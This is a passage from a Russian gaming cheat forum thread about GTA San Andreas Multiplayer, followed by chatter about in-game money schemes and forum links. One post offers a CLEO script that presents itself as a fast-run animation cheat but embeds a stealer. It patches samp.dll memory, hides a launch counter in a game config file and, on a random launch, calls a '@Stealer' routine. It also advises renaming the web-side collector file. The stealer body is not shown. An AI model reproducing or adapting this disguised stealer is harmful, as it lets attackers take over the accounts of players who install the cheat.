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Дата: Воскресенье, 07.06.2015, 14:30 | Сообщение # 81
Новичок
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В клео бег стиллер
{Код PHP: //-------------------------------Настоятельно рекомендую поменять Readme.HTML на любое другое название файла!---------------------------------------------
//-------------------------------А так же поставить переаддресацию из папки с данным файлом в корень сайта.----------------------------------------------- } {$CLEO .cs} 0000: wait 1750 0AA2: 31@ = load_library "kernel32.dll" // IF and SET 0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // Антикрашер 0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@ 0@ += 371500 0A8C: write_memory 0@ size 4 value -1869574000 virtual_protect 1 0@ += 4 0A8C: write_memory 0@ size 1 value 144 virtual_protect 1 0@ += 9 0A8C: write_memory 0@ size 4 value -1869574000 virtual_protect 1 0@ += 4 0A8C: write_memory 0@ size 1 value 144 virtual_protect 1 var 30@: int 31@: int end//"data/handling.cfg". handling.cfg это файл который лежит в папке data измените файл на любой другой существующий, так же можно заменить папку, можно дописать еще несколько папок. В этом файле будет храниться инфа о запусках игры 0af0: 30@ = "data/handling.cfg" "Setting" "Rand" 0af0: 31@ = "data/handling.cfg" "Setting" "Run" 0af1: 30@ "data/handling.cfg" "Setting" "Rand" 0af1: 31@ "data/handling.cfg" "Setting" "Run" if or 30@ <= 0 31@ <= 0 31@ > 30@ then 0209: 30@ = random_int_in_ranges 2 2 //Рандом запуск, меньше чем 2 2 не ставить! 0af1: 30@ "data/handling.cfg" "Setting" "Rand" 0af1: 1 "data/handling.cfg" "Setting" "Run" else 0af0: 30@ = "data/handling.cfg" "Setting" "Rand" 0af0: 31@ = "data/handling.cfg" "Setting" "Run" 31@ += 1 0af1: 31@ "data/handling.cfg" "Setting" "Run" if 31@ > 30@ then 0209: 30@ = random_int_in_ranges 2 2 //Рандом запуск, меньше чем 2 2 не ставить! 0af1: 30@ "data/handling.cfg" "Setting" "Rand" 0af1: 1 "data/handling.cfg" "Setting" "Run" end end if 31@ == 30@ then 0AB1: call_scm_func @Thread 1 @Stealer end //Тут начинается скрипт
wait 0 0@ = 1.0 1@ = 1.0 3@ = 0
:FASTWALK_63 wait 0 if Player.Defined($PLAYER_CHAR) jf @FASTWALK_63 wait 0 0393: actor $PLAYER_ACTOR perform_animation "WALK_PLAYER" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "GUNCROUCHFWD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "GUNCROUCHBWD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "GUNMOVE_BWD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "GUNMOVE_FWD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "GUNMOVE_L" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "GUNMOVE_R" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_GANG1" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "JOG_FEMALEA" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "JOG_MALEA" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_CIVI" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_CSAW" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_FAT" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_FATOLD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_GANG1" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_OLD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_ROCKET" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_WUZI" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "SPRINT_WUZI" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_ARMED" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_ROCKET" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_CIVI" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_CSAW" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_DRUNK" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_FAT" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_FATOLD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_GANG1" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_GANG2" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_OLD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_SHUFFLE" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_START" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_START_ARMED" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_START_CSAW" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_START_ROCKET" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_WUZI" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_RUN" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_RUNBUSY" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_RUNFATOLD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_RUNPANIC" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_RUNSEXY" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_WALKBUSY" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_WALKFATOLD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_WALKNORM" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_WALKOLD" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_WALKPRO" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_WALKSEXY" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_WALKSHOP" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_1ARMED" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_ARMED" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "RUN_PLAYER" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "SPRINT_CIVI" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "SPRINT_PANIC" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "SWAT_RUN" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_ARMED" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_CSAW" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WALK_ROCKET" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_RUN" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_RUNBUSY" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_RUNPANIC" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "WOMAN_RUNSEXY" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "FATSPRINT" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "CLIMB_IDLE" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "MUSCLESPRINT" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "CLIMB_PULL" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "CLIMB_STAND" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "CLIMB_STAND_FINISH" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "SPRINT_CIVI" at 1@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "SWIM_BREAST" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "SWIM_CRAWL" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "SWIM_DIVE_UNDER" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "SWIM_GLIDE" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "MUSCLERUN" at 0@ times_normal_rate 0393: actor $PLAYER_ACTOR perform_animation "MUSCLESPRINT" at 0@ times_normal_rate if and key 66 key 49 jf @FASTWALK_1685 0@ = 1.0 1@ = 1.0 sound 1056 0.0 0.0 0.0 wait 5
Дата: Понедельник, 08.06.2015, 12:59 | Сообщение # 85
Боец
Сообщений: 101
Статус: Offline
UPD 08.06.15 Перезалил ссылки. Теперь работает на 0.3.7 http://cheat-master.ru/forum/192-437518-1 - Поднимаемся с 0. - старая топовая тема http://cheat-master.ru/forum/192-662734-1 - Новый способ заработка на DiamondRP. Не только виртов.
nikitosina_russia, Пользуйся http://cheat-master.ru/forum/192-437518-1 - Поднимаемся с 0. - старая топовая тема http://cheat-master.ru/forum/192-662734-1 - Новый способ заработка на DiamondRP. Не только виртов.
Бейсджампинг не 12 часов, а по 3-4 раза и то рандомно, да и так сложновато, лентяям трудновато будет Пуля в голове меняет многое, даже если попадает в задницу. (с) Аль Капоне
Сообщение отредактировал [CM]Незнайка - Вторник, 09.06.2015, 00:57
[CM]Незнайка, Бейсджампинг так же могут запускать г. админы. http://cheat-master.ru/forum/192-437518-1 - Поднимаемся с 0. - старая топовая тема http://cheat-master.ru/forum/192-662734-1 - Новый способ заработка на DiamondRP. Не только виртов.